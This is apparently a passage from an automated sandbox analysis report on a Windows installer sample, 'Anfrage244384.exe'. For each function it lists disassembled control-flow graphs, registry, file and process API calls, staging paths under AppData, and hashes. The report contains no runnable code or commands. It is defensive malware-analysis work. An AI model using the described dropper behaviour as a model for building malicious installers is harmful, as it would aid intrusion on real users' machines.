                                                          • Opcode ID: 22b859301be01545360faa7ed4cfae0610cf7599f3afabecce9a192d73219230
                                                          • Instruction ID: f3b8c8f840e4a68c7bce26bfc9f978bd3a53690dd24d0c1e4954f7cf1b20607f
                                                          • Opcode Fuzzy Hash: 22b859301be01545360faa7ed4cfae0610cf7599f3afabecce9a192d73219230
                                                          • Instruction Fuzzy Hash: BEF0217054020AA7DB149B64DD0DFFB379CBB08305F14047AA587F50C2D5B8D5358B58
                                                          Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73registrystringCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 968 4023d3-402419 call 402bc3 call 402ace * 2 RegCreateKeyExA 975 40295e-40296d 968->975 976 40241f-402427 968->976 978 402437-40243a 976->978 979 402429-402436 call 402ace lstrlenA 976->979 980 40243c-40244d call 402aac 978->980 981 40244e-402451 978->981 979->978 980->981 985 402462-402476 RegSetValueExA 981->985 986 402453-40245d call 402f33 981->986 990 402478 985->990 991 40247b-402555 RegCloseKey 985->991 986->985 990->991 991->975 993 402729-402730 991->993 993->975
                                                          APIs
                                                          • RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
                                                          • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsq755.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
                                                          • RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsq755.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
                                                          • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsq755.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CloseCreateValuelstrlen
                                                          • String ID: C:\Users\user\AppData\Local\Temp\nsq755.tmp
                                                          • API String ID: 1356686001-3625550587
                                                          • Opcode ID: 16c11ee55e493c1f4cb55922a7a265c15d1edf48fbcc260bb9481044d91f603c
                                                          • Instruction ID: 78945337bfecb372f974009004526856e4df2419c5d7c36b02de55c30b310c87
                                                          • Opcode Fuzzy Hash: 16c11ee55e493c1f4cb55922a7a265c15d1edf48fbcc260bb9481044d91f603c
                                                          • Instruction Fuzzy Hash: 842162B1E00208BEEB10EFA4DE49EAF7678EB54358F20403AF545B61D0C6B94D419B68
                                                          Function 00405A65 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 994 405a65-405a6f 995 405a70-405a9b GetTickCount GetTempFileNameA 994->995 996 405aaa-405aac 995->996 997 405a9d-405a9f 995->997 999 405aa4-405aa7 996->999 997->995 998 405aa1 997->998 998->999
                                                          APIs
                                                          • GetTickCount.KERNEL32 ref: 00405A79
                                                          • GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405A93
                                                          Strings
                                                          • "C:\Users\user\Desktop\Anfrage244384.exe", xrefs: 00405A65
                                                          • nsa, xrefs: 00405A70
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00405A68
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CountFileNameTempTick
                                                          • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$C:\Users\user\AppData\Local\Temp\$nsa
                                                          • API String ID: 1716503409-3297682518
                                                          • Opcode ID: 245b3c25697a366b20d072f4ae6f3df15c900acea65bebff5d6a318f0eee9b10
                                                          • Instruction ID: 72edad6ec601b3e5bedbe0a956b09e0e85e9d1f351c5a8d1d7ddacf5062ef271
                                                          • Opcode Fuzzy Hash: 245b3c25697a366b20d072f4ae6f3df15c900acea65bebff5d6a318f0eee9b10
                                                          • Instruction Fuzzy Hash: DBF082363046187BDB108F55ED44B9B7B9CDFA1760F10803BFA44DA180D6B599548B58
                                                          Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1000 402b0e-402b37 RegOpenKeyExA 1001 402ba2-402ba6 1000->1001 1002 402b39-402b44 1000->1002 1003 402b5f-402b6f RegEnumKeyA 1002->1003 1004 402b71-402b83 RegCloseKey call 40615c 1003->1004 1005 402b46-402b49 1003->1005 1013 402b85-402b94 1004->1013 1014 402ba9-402baf 1004->1014 1007 402b96-402b99 RegCloseKey 1005->1007 1008 402b4b-402b5d call 402b0e 1005->1008 1011 402b9f-402ba1 1007->1011 1008->1003 1008->1004 1011->1001 1013->1001 1014->1011 1015 402bb1-402bbf RegDeleteKeyA 1014->1015 1015->1011 1017 402bc1 1015->1017 1017->1001
                                                          APIs
                                                          • RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402B2F
                                                          • RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
                                                          • RegCloseKey.ADVAPI32(?), ref: 00402B74
                                                          • RegCloseKey.ADVAPI32(?), ref: 00402B99
                                                          • RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Close$DeleteEnumOpen
                                                          • String ID:
                                                          • API String ID: 1912718029-0
                                                          • Opcode ID: ce3d45171df20cd5368556db4e0df27da4ec55921f16075ab1a00bf066d588a4
                                                          • Instruction ID: 01bd3f518095735bd7fc58530e3e97865138d1262df332b424d450b53e5153fe
                                                          • Opcode Fuzzy Hash: ce3d45171df20cd5368556db4e0df27da4ec55921f16075ab1a00bf066d588a4
                                                          • Instruction Fuzzy Hash: 83117F31500108FFDF11AF90DE89EAB3B7DFB14345B00403AF905B11A0D7B8AE55AB68
                                                          Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1018 100016bd-100016f9 call 10001a5d 1022 1000180a-1000180c 1018->1022 1023 100016ff-10001703 1018->1023 1024 10001705-1000170b call 100021b0 1023->1024 1025 1000170c-10001719 call 100021fa 1023->1025 1024->1025 1030 10001749-10001750 1025->1030 1031 1000171b-10001720 1025->1031 1032 10001770-10001774 1030->1032 1033 10001752-1000176e call 100023da call 10001559 call 10001266 GlobalFree 1030->1033 1034 10001722-10001723 1031->1034 1035 1000173b-1000173e 1031->1035 1036 100017b2-100017b8 call 100023da 1032->1036 1037 10001776-100017b0 call 10001559 call 100023da 1032->1037 1058 100017b9-100017bd 1033->1058 1040 10001725-10001726 1034->1040 1041 1000172b-1000172c call 100027e8 1034->1041 1035->1030 1038 10001740-10001741 call 10002aa3 1035->1038 1036->1058 1037->1058 1052 10001746 1038->1052 1046 10001733-10001739 call 10002589 1040->1046 1047 10001728-10001729 1040->1047 1049 10001731 1041->1049 1057 10001748 1046->1057 1047->1030 1047->1041 1049->1052 1052->1057 1057->1030 1061 100017fa-10001801 1058->1061 1062 100017bf-100017cd call 100023a0 1058->1062 1061->1022 1065 10001803-10001804 GlobalFree 1061->1065 1068 100017e5-100017ec 1062->1068 1069 100017cf-100017d2 1062->1069 1065->1022 1068->1061 1070 100017ee-100017f9 call 100014e2 1068->1070 1069->1068 1071 100017d4-100017dc 1069->1071 1070->1061 1071->1068 1072 100017de-100017df FreeLibrary 1071->1072 1072->1068
                                                          APIs
                                                            • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
                                                            • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
                                                            • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE
                                                          • GlobalFree.KERNEL32(00000000), ref: 10001768
                                                          • FreeLibrary.KERNEL32(?), ref: 100017DF
                                                          • GlobalFree.KERNEL32(00000000), ref: 10001804
                                                            • Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2
                                                            • Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB
                                                            • Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1928216941.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.1928204530.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928228736.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928240548.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Global$Free$Alloc$Librarylstrcpy
                                                          • String ID:
                                                          • API String ID: 1791698881-3916222277
                                                          • Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                          • Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
                                                          • Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                          • Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60
                                                          Function 00401FFF Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 0040202A
                                                            • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0042A048,00000000,0041C020,74DF23A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                            • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,74DF23A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                            • Part of subcall function 00404FDC: lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,74DF23A0), ref: 00405038
                                                            • Part of subcall function 00404FDC: SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                          • LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040203A
                                                          • GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
                                                          • FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
                                                          • String ID:
                                                          • API String ID: 2987980305-0
                                                          • Opcode ID: 180a3081fb3f78eb91f00a12e3d21899e8b163c30cc106c56dc37463dfcc7d01
                                                          • Instruction ID: b783eae22080e2a76f4456b755c5680fa053b08e058d045f217a77597ec219f0
                                                          • Opcode Fuzzy Hash: 180a3081fb3f78eb91f00a12e3d21899e8b163c30cc106c56dc37463dfcc7d01
                                                          • Instruction Fuzzy Hash: 0F21C971A00225E7DB307FA48F49A5E7A746B44354F24413BF701B22D1DBBE4A42D66E
                                                          Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004058CE: CharNextA.USER32(?,?,0042BC70,?,0040593A,0042BC70,0042BC70,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058DC
                                                            • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058E1
                                                            • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058F5
                                                          • GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D
                                                            • Part of subcall function 004054A2: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054E5
                                                          • SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\secretaryships\Khami,00000000,00000000,000000F0), ref: 0040163C
                                                          Strings
                                                          • C:\Users\user\AppData\Roaming\secretaryships\Khami, xrefs: 00401631
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                          • String ID: C:\Users\user\AppData\Roaming\secretaryships\Khami
                                                          • API String ID: 1892508949-4189074693
                                                          • Opcode ID: 41430e8041f5b825a25f6f7f5196f7741ab1efb3ce46360c30da8e6aa749b7db
                                                          • Instruction ID: 816b54ed5d655ae39ec9af7653b37b3cb045aad08be9d120fc9ab2aeee17589e
                                                          • Opcode Fuzzy Hash: 41430e8041f5b825a25f6f7f5196f7741ab1efb3ce46360c30da8e6aa749b7db
                                                          • Instruction Fuzzy Hash: 4A110431608142EBDB317BB54D409BF2AB0DE96324B28493FE4D1B22E2D63D4942663E
                                                          Function 00404F50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsWindowVisible.USER32(?), ref: 00404F7F
                                                          • CallWindowProcA.USER32(?,?,?,?), ref: 00404FD0
                                                            • Part of subcall function 00403FF4: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00404006
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Window$CallMessageProcSendVisible
                                                          • String ID:
                                                          • API String ID: 3748168415-3916222277
                                                          • Opcode ID: 08716edfc016174e1d95566f9c20dbce6f1779ae15c64c490cb603040d3fbc74
                                                          • Instruction ID: 957b128ff8c1be49c7c43d2eec533a56ef4d4953328fce41794b465c1d4f4089
                                                          • Opcode Fuzzy Hash: 08716edfc016174e1d95566f9c20dbce6f1779ae15c64c490cb603040d3fbc74
                                                          • Instruction Fuzzy Hash: C80184B160020AAFDF20AF51DD80A5B3B66EBC4755F15413BFF00751D1C77D8C62966A
                                                          Function 00405554 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042C070,Error launching installer), ref: 0040557D
                                                          • CloseHandle.KERNEL32(?), ref: 0040558A
                                                          Strings
                                                          • Error launching installer, xrefs: 00405567
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CloseCreateHandleProcess
                                                          • String ID: Error launching installer
                                                          • API String ID: 3712363035-66219284
                                                          • Opcode ID: 4fc3f2634484a51afe99368b6ee5adae76d461d8ba1d0850051e12a9b99b56ab
                                                          • Instruction ID: 7a3dc1fb8a2ad91d62cd378edef27adb0088bf0f4d8ddc25e60ef95d811c5913
                                                          • Opcode Fuzzy Hash: 4fc3f2634484a51afe99368b6ee5adae76d461d8ba1d0850051e12a9b99b56ab
                                                          • Instruction Fuzzy Hash: 1AE04FB0600209BFEB109FA0ED45F7F77ACE700208F408531BD00F2150D77499088A7C
                                                          Function 00401B5D Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GlobalFree.KERNEL32(00512E10), ref: 00401BCC
                                                          • GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401BDE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Global$AllocFree
                                                          • String ID: Call
                                                          • API String ID: 3394109436-1824292864
                                                          • Opcode ID: 382e83497b6452e7c65802fe1326a2029af183ce9cf88f464a37c6325ccb903e
                                                          • Instruction ID: d054425cb323db0c5527465b0d1f96526ab7a24d54a529c5f55500c1511f63c4
                                                          • Opcode Fuzzy Hash: 382e83497b6452e7c65802fe1326a2029af183ce9cf88f464a37c6325ccb903e
                                                          • Instruction Fuzzy Hash: AB2184726002159BD710ABA49E88E5E77E9DB44314B28883BF241B33D1D77999018F6D
                                                          Function 004024F5 Relevance: 4.5, APIs: 3, Instructions: 46registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005A7,00000000,00000022,00000000,?,?), ref: 00402C00
                                                          • RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402527
                                                          • RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 0040253A
                                                          • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsq755.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Enum$CloseOpenValue
                                                          • String ID:
                                                          • API String ID: 167947723-0
                                                          • Opcode ID: 8c59f9b8c0256cbe9bd71fe7ee3f101d5ae56516e7ddf643f02568347a4a43af
                                                          • Instruction ID: 2b577d6a6ed12fdd73b92825448b087f6304f6a5da561ecb1c8b28b09130acc9
                                                          • Opcode Fuzzy Hash: 8c59f9b8c0256cbe9bd71fe7ee3f101d5ae56516e7ddf643f02568347a4a43af
                                                          • Instruction Fuzzy Hash: EC01DF71A00201EFE7119F65AE88ABF7A7CDF40394F20003FF045A61C0D6B84A459669
                                                          Function 00405CAA Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegOpenKeyExA.KERNELBASE(80000002,00405EEF,00000000,00000002,?,00000002,?,?,00405EEF,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405CD3
                                                          • RegQueryValueExA.KERNELBASE(?,?,00000000,00405EEF,?,00405EEF), ref: 00405CF4
                                                          • RegCloseKey.ADVAPI32(?), ref: 00405D15
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CloseOpenQueryValue
                                                          • String ID:
                                                          • API String ID: 3677997916-0
                                                          • Opcode ID: 736db648b4ac55722d45c6321a86d011e73f53958cb133121ff9030ed915e9ad
                                                          • Instruction ID: fa75aaf4fea41e3e7414327fe65dbec21031f90634d69430c1a7616152fbf627
                                                          • Opcode Fuzzy Hash: 736db648b4ac55722d45c6321a86d011e73f53958cb133121ff9030ed915e9ad
                                                          • Instruction Fuzzy Hash: 35015E7114020AEFDF118F64ED48EDB7FACEF14354F00403AF94596160D235D964CBA5
                                                          Function 00402483 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005A7,00000000,00000022,00000000,?,?), ref: 00402C00
                                                          • RegQueryValueExA.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B3
                                                          • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsq755.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
